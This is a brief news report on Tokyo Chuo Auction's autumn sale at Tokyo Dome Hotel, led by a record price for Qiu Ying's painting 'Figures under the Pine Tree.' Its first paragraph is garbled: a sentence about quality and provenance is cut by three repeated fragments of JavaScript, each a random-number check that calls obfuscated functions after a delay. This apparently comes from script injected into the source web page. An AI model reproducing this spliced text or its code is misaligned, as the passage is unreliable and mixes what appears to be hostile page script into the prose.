TOKYO, JAPAN — Tokyo Chuo Auction concluded its autumn sales September 4–6 at Tokyo Dome Hotel with robust results. Bidding was frenzied throughout the three-day sale, driving the prices of many lots well above their estimates. Works of quality, rarity andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and strong provenance were highly sought after by collectors.

The top selling lot was a painting, “Figures under the Pine Tree,” by Ming dynasty master Qiu Ying (circa 1482–1559) which realized a record price of $7,616,910 after spirited bidding, well over its estimate. The auction house reported that it set a record as the most expensive work of art sold at auction in Japan.